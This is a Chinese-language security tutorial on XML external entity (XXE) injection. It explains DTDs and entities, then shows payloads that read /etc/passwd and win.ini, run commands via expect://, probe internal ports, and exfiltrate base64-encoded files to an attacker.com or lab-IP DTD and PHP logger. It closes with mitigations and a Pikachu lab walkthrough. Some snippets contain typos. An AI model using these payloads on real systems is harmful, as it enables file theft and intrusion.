深入理解XXE外部实体注入漏洞：原理、利用与防护

深入理解XXE外部实体注入漏洞：原理、利用与防护

前言

在现代Web应用中，XML（可扩展标记语言）因其良好的结构性和可扩展性，被广泛用于数据传输与存储。然而，当XML解析器对外部实体的加载缺乏限制时，就可能引发XXE（XML External Entity Injection，外部实体注入）漏洞。这一漏洞看似隐蔽，却能导致读取服务器任意文件、执行系统命令、扫描内网端口等严重安全问题。本文将从XML基础出发，详细解析XXE漏洞的原理、利用方式及防护措施，帮助开发者和安全人员全面掌握这一风险点。

一、XML基础：从语法到实体

要理解XXE漏洞，首先需要掌握XML的核心概念，包括其语法特征、文档类型定义（DTD）及实体机制。

1. XML的特征与语法

XML是一种标记语言，其核心特征包括：

• 必须有唯一的根节点，且标签需严格闭合；
• 标签名称大小写敏感，且不能以特殊符号（除_和-外）开头；
• 可包含XML声明（如<?xml version="1.0" encoding="UTF-8"?>），但非必需。

示例如下：

<?xml version="1.0" encoding="UTF-8"?>
<A> <!-- 根节点 --><name>test</name> <!-- 子节点，标签严格闭合 --><age>20</age>
</A>

XML的主要作用是数据传输（如API接口数据交换）和数据存储（如配置文件）。

2. XML文档结构：DTD与实体

XML的文档结构由DTD（Document Type Definition，文档类型定义）约束，DTD用于定义XML文档的合法元素、属性及关系。同时，XML支持“实体”机制，实体可理解为“变量”，用于存储可复用的数据。

（1）DTD的两种形式

DTD分为内部DTD和外部DTD，用于规范XML文档的结构。

• 内部DTD：直接在XML文档中定义，格式如下：

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE user [ <!-- 定义文档类型为user --><!ELEMENT user (username,password)> <!-- 定义user包含username和password子元素 --><!ELEMENT username (#PCDATA)> <!-- username为可解析文本 --><!ELEMENT password (#PCDATA)> <!-- password为可解析文本 -->
  ]>
  <user><username>zhangsan</username><password>123456</password>
  </user>
  

• 外部DTD：定义在外部文件中，通过SYSTEM关键字引入，格式如下：

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE user SYSTEM "1.dtd"> <!-- 引入外部1.dtd -->
  <user><username>zhangsan</username><password>123456</password>
  </user>
  

  其中1.dtd内容为：

  <!ELEMENT user (username,password)>
  <!ELEMENT username (#PCDATA)>
  <!ELEMENT password (#PCDATA)>
  

  设置不允许加载的时候，加载会出错：
  
  开启后可以正常加载：（由于浏览器的限制，无法加载）
  

（2）XML实体的分类

实体是XML中用于存储数据的“变量”，分为普通实体和参数实体，且支持内部定义和外部引用。

• 普通实体：直接定义并在XML元素中使用，格式为<!ENTITY 实体名 "值">，引用时用&实体名;。

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE user [<!ENTITY s "zhangsan"> <!-- 定义普通实体s --><!ENTITY p "123456">
  ]>
  <user><username>&s;</username> <!-- 引用实体s --><password>&p;</password>
  </user>
  

• 外部实体：引用外部资源（如文件、URL），格式为<!ENTITY 实体名 SYSTEM "资源路径">。

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE any [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> <!-- 引用本地文件 -->
  ]>
  <data>&file;</data> <!-- 引用外部实体，读取文件内容 -->
  

• 参数实体：仅在DTD中使用，格式为<!ENTITY % 实体名 "值">，引用时用%实体名;，常用于外部DTD的嵌套引用。

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部参数实体 -->%ext; <!-- 引用参数实体 -->
  ]>
  

（3）支持的协议

不同XML解析器支持的协议不同，常见协议如下：

解析器/语言	支持的主要协议
libxml2	file、ftp、http
PHP	file、http、ftp、php://filter（文件编码）、expect://（执行命令，需扩展支持）
Java	http、https、ftp、file、jar
.NET	file、http、https、ftp

二、XXE漏洞详解

XXE漏洞的本质是：XML解析器未禁用外部实体加载，导致攻击者可构造恶意XML文档，通过外部实体引用读取敏感文件、执行命令或探测内网。

1. 漏洞触发条件

XXE漏洞的触发需满足两个条件：

1. 应用程序会解析用户提交的XML数据；
2. XML解析器未禁用外部实体加载（如PHP中libxml_disable_entity_loader默认值为true，需手动设为false才允许加载外部实体）。

2. 漏洞产生原因

当应用程序对用户上传或提交的XML数据缺乏过滤时，攻击者可注入恶意外部实体定义，从而利用解析器的外部资源加载能力执行攻击。

3. 漏洞危害与利用方式

XXE漏洞的危害范围较广，主要包括以下场景：

（1）读取任意文件

通过外部实体引用本地文件路径，可读取服务器敏感文件（如配置文件、密码文件等）。

• 直接读取（内部DTD）：

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE any [<!ENTITY file SYSTEM "file:///etc/passwd"> <!-- Linux系统用户文件 -->
  ]>
  <data>&file;</data>
  

• 外部DTD+参数实体读取：
  攻击者服务器放置evil.dtd：

  <!ENTITY s SYSTEM "file:///c:/windows/win.ini"> <!-- 目标文件路径 -->
  

  恶意XML payload：

  <?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE any [<!ENTITY % ext SYSTEM "http://attacker.com/evil.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 -->
  ]>
  <user><username>&s;</username></user> <!-- 引用实体s，输出文件内容 -->
  

（2）执行系统命令

若XML解析器所在环境支持expect://协议（如PHP安装expect扩展），可通过外部实体执行系统命令。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY cmd SYSTEM "expect://ls -al"> <!-- 执行ls命令 -->
]>
<data>&cmd;</data>

注：命令中的空格可用${IFS}替换（如ls${IFS}-al）。

（3）内网端口扫描

利用外部实体引用内网IP和端口，通过解析超时时间判断端口是否开放（开放端口响应快，关闭端口超时）。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE any [<!ENTITY port SYSTEM "http://192.168.1.1:80"> <!-- 探测内网192.168.1.1的80端口 -->
]>
<data>&port;</data>

（4）无回显XXE的利用

当漏洞触发后无直接回显时，可通过“外带数据”方式将结果发送至攻击者控制的服务器。

攻击流程：

1. 攻击者服务器放置1.dtd（用于定义数据外带逻辑）：

   <!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://attacker.com/log.php?data=%file;'>">
   %a; <!-- 定义send实体，将file内容发送到log.php -->
   

2. 攻击者服务器放置log.php（用于接收并保存数据）：

   <?php
   file_put_contents('leak.txt', $_GET['data']); // 将接收的数据存入文件
   ?>
   

3. 构造恶意XML payload：

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE any [<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd"> <!-- 读取文件并Base64编码 --><!ENTITY % ext SYSTEM "http://attacker.com/1.dtd"> <!-- 引入外部DTD -->%ext; <!-- 引用参数实体 -->%send; <!-- 触发数据外带 -->
   ]>
   

4. 目标服务器解析XML后，会将/etc/passwd的Base64编码内容发送至log.php，攻击者从leak.txt中获取数据并解码。

三、XXE漏洞的修复与防护

XXE漏洞的防护核心是禁用外部实体加载并过滤恶意XML内容，具体措施如下：

1. 禁用外部实体加载

• PHP：使用libxml_disable_entity_loader(true)禁用外部实体：

  <?php
  libxml_disable_entity_loader(true); // 关键：禁用外部实体加载
  $xml = simplexml_load_string($_POST['xml_data']);
  ?>
  

• Java：设置DocumentBuilderFactory的属性禁用外部实体：

  DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
  dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 禁用DTD
  

• Python：使用lxml库时禁用外部实体：

  from lxml import etree
  parser = etree.XMLParser(resolve_entities=False) # 禁用实体解析
  etree.fromstring(xml_data, parser)
  

2. 过滤恶意内容

对用户提交的XML数据进行严格过滤，禁止包含以下敏感内容：

• DTD相关关键字：<!DOCTYPE、<!ENTITY、SYSTEM、PUBLIC；
• 危险协议：file://、http://、ftp://、expect://、php://等。

3. 代码审计关注点

在代码中搜索可能解析XML的函数，确认是否禁用了外部实体：

• PHP：simplexml_load_string()、simplexml_import_dom()、libxml_disable_entity_loader(false)；
• 请求头特征：Accept: application/xml、Content-Type: text/xml（提示应用可能处理XML数据）。

四、靶场测试实践

1.pikachu靶场

在漏洞测试中，可按以下步骤验证XXE漏洞：

1. 判断是否使用XML：通过请求头（如Accept: application/xml）或参数格式（自定义标签）判断应用是否处理XML。
   

2. 触发报错验证：构造错误的XML格式（如缺失闭合标签），观察是否返回XML解析错误，确认解析器存在。

3. 读取文件测试：构造包含外部实体的XML payload，尝试读取已知文件（如/etc/passwd或c:/windows/win.ini），检查是否返回文件内容。

例如，在Pikachu靶场中，构造如下payload可读取c:/windows/win.ini：

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<test>&file;</test>

2.没有回显的XXE漏洞利用方式

1 原理部分

首先是可以使用php://协议将源代码通过base64编码的方式读取出来

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY s SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
]>
<user><username>&s;</username><password>11111</password></user>

http://xxxx.com/1.php?get=%s

攻击过程：

三方服务器放置：需要将以下文件放入一个外部的dtd中：

http://192.168.61.249/xxe/1.dtd

<!ENTITY % canshu STSTEM "http://xxxx.com/1.php?get=%s">让1.php去接受%s传递的网页编码后的源代码
需要把以上dtd内容当做一个参数传递：
完整的外部dtd代码如下：<!ENTITY % a "<!ENTITY &#37; send SYSTEM 'http://三方IP/xxe/xxe.php?get=%file;'>">
%a;

三方服务器放置：1.php充当一个获取文件并保存的工具：

http://192.168.61.249/xxe/xxe.php

<?php
file_put_contents('xxx1.txt',$_GET['get']);
?>

攻击payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=doLogin.php">
<!ENTITY % s  SYSTEM "http://192.168.61.249/xxe/1.dtd">
%s;
%send;
]>

三方服务器收到xxx1.txt记录base64编码的页面源代码：

另外一种不存储在本地的方法：

配置部分不变，修改请求的三方dtd文件，不在传入一个php文件中。传递的结果会存放在请求日志或者记录中：

或者在log文件中

3.代码计部分

simplexml_load_string() 
simplexml_import_dom() 
libxml_disable_entity_loader(false); 以上三个函数时用来开启XML外部实体的。找的时候
Accept: application/xml, text/xml
Accept: text/html,application/xhtml+xml,application/xml;

pikachu:

<?xml version='1.0' encoding="UTF-8"?>
<!DOCTYPE suibian[
<!ENTITY a SYSTEM "file:///c:/windows/win.ini"> <!--三个斜杠-->]>
<suibian>&a;</suibian>

总结

XXE漏洞作为XML解析过程中的典型安全风险，其危害涵盖文件读取、命令执行、内网探测等多个维度。掌握XML的DTD与实体机制是理解XXE的基础，而禁用外部实体加载和过滤恶意内容则是防护的核心手段。

在实际开发中，应始终保持“不信任用户输入”的原则，对XML解析器进行严格配置，避免因疏忽导致安全漏洞。同时，安全人员需熟悉XXE的各种利用方式（包括无回显场景），通过靶场练习和代码审计提升漏洞识别与修复能力，从而有效防范这一隐患。